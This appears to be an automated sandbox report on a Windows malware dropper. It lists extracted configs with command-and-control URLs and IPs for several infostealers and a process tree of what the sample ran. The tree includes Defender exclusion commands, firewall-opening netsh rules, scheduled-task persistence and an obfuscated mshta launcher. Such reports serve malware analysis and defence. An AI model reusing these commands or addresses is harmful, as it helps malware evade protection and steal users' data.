Resubmissions
10-11-2021 14:50
211110-r7nbvaeddr 1008-11-2021 16:12
211108-tnmmbahgaj 1008-11-2021 15:26
211108-svdsbaccf6 1008-11-2021 14:48
211108-r6lfvshdfn 10Analysis
-
max time kernel
226s -
max time network
1205s -
platform
windows10_x64 -
resource
win10-de-20211014 -
submitted
08-11-2021 16:12
General
-
Target
022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe
Malware Config
Extracted
socelars
http://www.hhgenice.top/
Extracted
xloader
2.5
s0iw
http://www.kyiejenner.com/s0iw/
ortopediamodelo.com
orimshirts.store
universecatholicweekly.info
yvettechan.com
sersaudavelsempre.online
face-booking.net
europeanretailgroup.com
umofan.com
roemahbajumuslim.online
joyrosecuisine.net
3dmaker.house
megdb.xyz
stereoshopie.info
gv5rm.com
tdc-trust.com
mcglobal.club
choral.works
onlineconsultantgroup.com
friscopaintandbody.com
midwestii.com
Extracted
raccoon
1.8.3-hotfix
19425a9ea527ab0b3a94d8156a7d2f62d79d3b73
-
url4cnc
http://91.219.236.162/bimboDinotrex
http://185.163.47.176/bimboDinotrex
http://193.38.54.238/bimboDinotrex
http://74.119.192.122/bimboDinotrex
http://91.219.236.240/bimboDinotrex
https://t.me/bimboDinotrex
Extracted
redline
45.9.20.149:10844
Extracted
vidar
48.1
937
https://koyu.space/@rspich
-
profile_id
937
Extracted
redline
udptest
193.56.146.64:65441
Extracted
vidar
47.9
933
https://mas.to/@kirpich
-
profile_id
933
Signatures
-
Arkei
Arkei is an infostealer written in C++.
-
Gozi, Gozi IFSB
Gozi ISFB is a well-known and widely distributed banking trojan.
-
Modifies Windows Defender Real-time Protection settings 3 TTPs
-
Process spawned unexpected child process 3 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Raccoon
Simple but powerful infostealer which was very active in 2019.
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 6 IoCs
-
Socelars
Socelars is an infostealer targeting browser cookies and credit card credentials.
-
Socelars Payload 2 IoCs
-
Suspicious use of NtCreateProcessExOtherParentProcess 2 IoCs
-
Vidar
Vidar is an infostealer based on Arkei stealer.
-
Xloader
Xloader is a rebranded version of Formbook malware.
-
suricata: ET MALWARE FormBook CnC Checkin (GET)
suricata: ET MALWARE FormBook CnC Checkin (GET)
-
suricata: ET MALWARE GCleaner Downloader Activity M5
suricata: ET MALWARE GCleaner Downloader Activity M5
-
suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01
suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01
-
suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload
suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload
-
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin
-
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2
-
suricata: ET MALWARE Win32/Vidar Variant Stealer CnC Exfil
suricata: ET MALWARE Win32/Vidar Variant Stealer CnC Exfil
-
Arkei Stealer Payload 2 IoCs
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
Vidar Stealer 3 IoCs
-
Xloader Payload 2 IoCs
-
Downloads MZ/PE file
-
Executes dropped EXE 50 IoCs
-
Modifies Windows Firewall 1 TTPs
-
VMProtect packed file 3 IoCs
Detects executables packed with VMProtect commercial packer.
-
Checks BIOS information in registry 2 TTPs 12 IoCs
BIOS information is often read in order to detect sandboxing environments.
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
-
Loads dropped DLL 7 IoCs
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Themida packer 10 IoCs
Detects Themida, an advanced Windows software protection system.
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Checks whether UAC is enabled 1 TTPs 6 IoCs
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 9 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.
-
Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs
-
Suspicious use of SetThreadContext 4 IoCs
-
Drops file in Program Files directory 6 IoCs
-
Drops file in Windows directory 1 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 8 IoCs
-
NSIS installer 6 IoCs
-
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
-
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Delays execution with timeout.exe 2 IoCs
-
Kills process with taskkill 7 IoCs
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious behavior: MapViewOfSection 4 IoCs
-
Suspicious use of AdjustPrivilegeToken 64 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe"C:\Users\Admin\AppData\Local\Temp\022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe"2⤵
- Checks computer location settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\Pictures\Adobe Films\MGF06eWV2QxiQ3cG6az4tr31.exe"C:\Users\Admin\Pictures\Adobe Films\MGF06eWV2QxiQ3cG6az4tr31.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\Pictures\Adobe Films\4N57m2SeL5IiTI5AG0oY8LBW.exe"C:\Users\Admin\Pictures\Adobe Films\4N57m2SeL5IiTI5AG0oY8LBW.exe"3⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\Pictures\Adobe Films\XfUGHJGj5rWE0ozUme5gWt4O.exe"C:\Users\Admin\Pictures\Adobe Films\XfUGHJGj5rWE0ozUme5gWt4O.exe"3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\89895c28-01c1-4e21-ae01-986b839a881d\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\89895c28-01c1-4e21-ae01-986b839a881d\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\89895c28-01c1-4e21-ae01-986b839a881d\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run4⤵
-
C:\Users\Admin\AppData\Local\Temp\89895c28-01c1-4e21-ae01-986b839a881d\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\89895c28-01c1-4e21-ae01-986b839a881d\AdvancedRun.exe" /SpecialRun 4101d8 51365⤵
-
C:\Users\Admin\AppData\Local\Temp\07afaac2-12b9-4e5c-984a-85e14dd50d80\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\07afaac2-12b9-4e5c-984a-85e14dd50d80\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\07afaac2-12b9-4e5c-984a-85e14dd50d80\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\07afaac2-12b9-4e5c-984a-85e14dd50d80\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\07afaac2-12b9-4e5c-984a-85e14dd50d80\AdvancedRun.exe" /SpecialRun 4101d8 55045⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\XfUGHJGj5rWE0ozUme5gWt4O.exe" -Force4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\XfUGHJGj5rWE0ozUme5gWt4O.exe" -Force4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\XfUGHJGj5rWE0ozUme5gWt4O.exe" -Force4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force4⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\386b386e-8326-4863-9f58-8a9d7da91a73\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\386b386e-8326-4863-9f58-8a9d7da91a73\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\386b386e-8326-4863-9f58-8a9d7da91a73\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run5⤵
-
C:\Users\Admin\AppData\Local\Temp\386b386e-8326-4863-9f58-8a9d7da91a73\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\386b386e-8326-4863-9f58-8a9d7da91a73\AdvancedRun.exe" /SpecialRun 4101d8 77166⤵
-
C:\Users\Admin\AppData\Local\Temp\e31f8f50-4b2e-45b5-8ebf-82cd3710d9ae\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\e31f8f50-4b2e-45b5-8ebf-82cd3710d9ae\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\e31f8f50-4b2e-45b5-8ebf-82cd3710d9ae\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run5⤵
-
C:\Users\Admin\AppData\Local\Temp\e31f8f50-4b2e-45b5-8ebf-82cd3710d9ae\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\e31f8f50-4b2e-45b5-8ebf-82cd3710d9ae\AdvancedRun.exe" /SpecialRun 4101d8 78166⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force5⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force5⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\sememe\svchost.exe" -Force5⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force5⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\sememe\svchost.exe" -Force5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force5⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"5⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"5⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\XfUGHJGj5rWE0ozUme5gWt4O.exe" -Force4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\sememe\svchost.exe" -Force4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\XfUGHJGj5rWE0ozUme5gWt4O.exe" -Force4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\sememe\svchost.exe" -Force4⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe"4⤵
-
C:\Users\Admin\Pictures\Adobe Films\i_L0A7LldAXrsKpzFi5txJoI.exe"C:\Users\Admin\Pictures\Adobe Films\i_L0A7LldAXrsKpzFi5txJoI.exe"3⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Pictures\Adobe Films\cdw3osWat18CVPUn7rFB_Pj9.exe"C:\Users\Admin\Pictures\Adobe Films\cdw3osWat18CVPUn7rFB_Pj9.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe5⤵
- Kills process with taskkill
-
C:\Users\Admin\Pictures\Adobe Films\PWokcJndamMPSc5Glm9GSVbb.exe"C:\Users\Admin\Pictures\Adobe Films\PWokcJndamMPSc5Glm9GSVbb.exe"3⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\YyH9SXCqivTrzrPqI3uYJQMd.exe"C:\Users\Admin\Pictures\Adobe Films\YyH9SXCqivTrzrPqI3uYJQMd.exe"3⤵
- Executes dropped EXE
- Drops file in Program Files directory
-
C:\Users\Admin\Documents\owY_g7gf7wrPiXIfc88VlEqk.exe"C:\Users\Admin\Documents\owY_g7gf7wrPiXIfc88VlEqk.exe"4⤵
-
C:\Users\Admin\Pictures\Adobe Films\KL1Sx3zXL9dnl28s_DQkjbNj.exe"C:\Users\Admin\Pictures\Adobe Films\KL1Sx3zXL9dnl28s_DQkjbNj.exe"5⤵
-
C:\Users\Admin\Pictures\Adobe Films\CeBYnvzipyGi9VupnEIWHAbX.exe"C:\Users\Admin\Pictures\Adobe Films\CeBYnvzipyGi9VupnEIWHAbX.exe"5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "CeBYnvzipyGi9VupnEIWHAbX.exe" /f & erase "C:\Users\Admin\Pictures\Adobe Films\CeBYnvzipyGi9VupnEIWHAbX.exe" & exit6⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "CeBYnvzipyGi9VupnEIWHAbX.exe" /f7⤵
- Kills process with taskkill
-
C:\Users\Admin\Pictures\Adobe Films\ejydHrY4wIQ47KBH15LRNvQg.exe"C:\Users\Admin\Pictures\Adobe Films\ejydHrY4wIQ47KBH15LRNvQg.exe"5⤵
-
C:\Users\Admin\Pictures\Adobe Films\EYknBp1ulqVoJD36nUNXUOxq.exe"C:\Users\Admin\Pictures\Adobe Films\EYknBp1ulqVoJD36nUNXUOxq.exe"5⤵
-
C:\Users\Admin\Pictures\Adobe Films\XEtFW6y9YZZi1S7OT_rg9zA7.exe"C:\Users\Admin\Pictures\Adobe Films\XEtFW6y9YZZi1S7OT_rg9zA7.exe"5⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ). Run ( "cmd /R cOpY /Y ""C:\Users\Admin\Pictures\Adobe Films\XEtFW6y9YZZi1S7OT_rg9zA7.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If """" == """" for %M in ( ""C:\Users\Admin\Pictures\Adobe Films\XEtFW6y9YZZi1S7OT_rg9zA7.exe"" ) do taskkill -f -iM ""%~NxM"" " , 0 , truE ) )6⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\Pictures\Adobe Films\XEtFW6y9YZZi1S7OT_rg9zA7.exe" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If "" == "" for %M in ( "C:\Users\Admin\Pictures\Adobe Films\XEtFW6y9YZZi1S7OT_rg9zA7.exe" ) do taskkill -f -iM "%~NxM"7⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -iM "XEtFW6y9YZZi1S7OT_rg9zA7.exe"8⤵
- Kills process with taskkill
-
C:\Users\Admin\Pictures\Adobe Films\TTp54AqS3Xeuh140DQWkoEDm.exe"C:\Users\Admin\Pictures\Adobe Films\TTp54AqS3Xeuh140DQWkoEDm.exe"5⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\setup.exeC:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=16⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--bo6y9QQgnM"7⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x1ec,0x1f0,0x1f4,0x1b4,0x1f8,0x7ffbfd07dec0,0x7ffbfd07ded0,0x7ffbfd07dee08⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ff6bf1f9e70,0x7ff6bf1f9e80,0x7ff6bf1f9e909⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1656,4159062920383515488,13865095438280234276,131072 --lang=de --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8876_1082268702" --mojo-platform-channel-handle=1672 /prefetch:88⤵
-
C:\Users\Admin\Pictures\Adobe Films\7jBCszsahJM8XJ50JwHaOcRd.exe"C:\Users\Admin\Pictures\Adobe Films\7jBCszsahJM8XJ50JwHaOcRd.exe"5⤵
-
C:\Users\Admin\AppData\Local\Temp\is-J72BE.tmp\7jBCszsahJM8XJ50JwHaOcRd.tmp"C:\Users\Admin\AppData\Local\Temp\is-J72BE.tmp\7jBCszsahJM8XJ50JwHaOcRd.tmp" /SL5="$105B6,506127,422400,C:\Users\Admin\Pictures\Adobe Films\7jBCszsahJM8XJ50JwHaOcRd.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-NCTT6.tmp\DYbALA.exe"C:\Users\Admin\AppData\Local\Temp\is-NCTT6.tmp\DYbALA.exe" /S /UID=27097⤵
-
C:\Users\Admin\AppData\Local\Temp\02-6d479-efd-d60ae-44e8f7f89a29d\Kunupyzhylo.exe"C:\Users\Admin\AppData\Local\Temp\02-6d479-efd-d60ae-44e8f7f89a29d\Kunupyzhylo.exe"8⤵
-
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exedw20.exe -x -s 22529⤵
-
C:\Users\Admin\AppData\Local\Temp\8c-af29a-a38-d6a8f-9e7af29f56b3e\Jaguxaebipae.exe"C:\Users\Admin\AppData\Local\Temp\8c-af29a-a38-d6a8f-9e7af29f56b3e\Jaguxaebipae.exe"8⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\yuv25l05.0gc\GcleanerEU.exe /eufive & exit9⤵
-
C:\Users\Admin\AppData\Local\Temp\yuv25l05.0gc\GcleanerEU.exeC:\Users\Admin\AppData\Local\Temp\yuv25l05.0gc\GcleanerEU.exe /eufive10⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\q2u0qf2z.blo\installer.exe /qn CAMPAIGN="654" & exit9⤵
-
C:\Users\Admin\AppData\Local\Temp\q2u0qf2z.blo\installer.exeC:\Users\Admin\AppData\Local\Temp\q2u0qf2z.blo\installer.exe /qn CAMPAIGN="654"10⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\qb3dtuwb.zbo\any.exe & exit9⤵
-
C:\Users\Admin\AppData\Local\Temp\qb3dtuwb.zbo\any.exeC:\Users\Admin\AppData\Local\Temp\qb3dtuwb.zbo\any.exe10⤵
-
C:\Users\Admin\AppData\Local\Temp\qb3dtuwb.zbo\any.exe"C:\Users\Admin\AppData\Local\Temp\qb3dtuwb.zbo\any.exe" -u11⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\2tjcwk15.fql\gcleaner.exe /mixfive & exit9⤵
-
C:\Users\Admin\AppData\Local\Temp\2tjcwk15.fql\gcleaner.exeC:\Users\Admin\AppData\Local\Temp\2tjcwk15.fql\gcleaner.exe /mixfive10⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\n3y23sgf.gyd\autosubplayer.exe /S & exit9⤵
-
C:\Program Files\Common Files\PELOFRMUMU\foldershare.exe"C:\Program Files\Common Files\PELOFRMUMU\foldershare.exe" /VERYSILENT8⤵
-
C:\Users\Admin\Pictures\Adobe Films\pg3sBy27n_S5EnZhSjwDf610.exe"C:\Users\Admin\Pictures\Adobe Films\pg3sBy27n_S5EnZhSjwDf610.exe"5⤵
-
C:\Users\Admin\Pictures\Adobe Films\m0tw7D4K3Xt_699FZlGGvvZM.exe"C:\Users\Admin\Pictures\Adobe Films\m0tw7D4K3Xt_699FZlGGvvZM.exe"5⤵
-
C:\Users\Admin\Pictures\Adobe Films\m0tw7D4K3Xt_699FZlGGvvZM.exe"C:\Users\Admin\Pictures\Adobe Films\m0tw7D4K3Xt_699FZlGGvvZM.exe" -u6⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST4⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST4⤵
- Creates scheduled task(s)
-
C:\Users\Admin\Pictures\Adobe Films\CmP8WQcQIe09qWeNkvEOhtAh.exe"C:\Users\Admin\Pictures\Adobe Films\CmP8WQcQIe09qWeNkvEOhtAh.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Pictures\Adobe Films\L6I6NKG1SWCIDwWSCHB1rBJU.exe"C:\Users\Admin\Pictures\Adobe Films\L6I6NKG1SWCIDwWSCHB1rBJU.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Pictures\Adobe Films\L6I6NKG1SWCIDwWSCHB1rBJU.exe"C:\Users\Admin\Pictures\Adobe Films\L6I6NKG1SWCIDwWSCHB1rBJU.exe"4⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\mbSorhGxB1pNBjghFG36e2Ru.exe"C:\Users\Admin\Pictures\Adobe Films\mbSorhGxB1pNBjghFG36e2Ru.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Pictures\Adobe Films\B6Bw0roWFP55xUoOvHs45zOz.exe"C:\Users\Admin\Pictures\Adobe Films\B6Bw0roWFP55xUoOvHs45zOz.exe"3⤵
- Executes dropped EXE
- Drops file in Program Files directory
-
C:\Program Files (x86)\Company\NewProduct\cutm3.exe"C:\Program Files (x86)\Company\NewProduct\cutm3.exe"4⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\XLxRmbPcDQ4F7J32lIdFDeny.exe"C:\Users\Admin\Pictures\Adobe Films\XLxRmbPcDQ4F7J32lIdFDeny.exe"3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "XLxRmbPcDQ4F7J32lIdFDeny.exe" /f & erase "C:\Users\Admin\Pictures\Adobe Films\XLxRmbPcDQ4F7J32lIdFDeny.exe" & exit4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "XLxRmbPcDQ4F7J32lIdFDeny.exe" /f5⤵
- Kills process with taskkill
-
C:\Users\Admin\Pictures\Adobe Films\ofHj9XDxpCLOcd4Ya1bSIs3C.exe"C:\Users\Admin\Pictures\Adobe Films\ofHj9XDxpCLOcd4Ya1bSIs3C.exe"3⤵
- Executes dropped EXE
- Drops file in Windows directory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \4⤵
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes4⤵
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes4⤵
-
C:\Windows\System\svchost.exe"C:\Windows\System\svchost.exe" formal4⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \5⤵
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes5⤵
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes5⤵
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /create /sc minute /ED "11/02/2024" /mo 7 /tn "Timer" /tr c:\windows\system\svchost.exe /ru SYSTEM4⤵
- Creates scheduled task(s)
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\4⤵
-
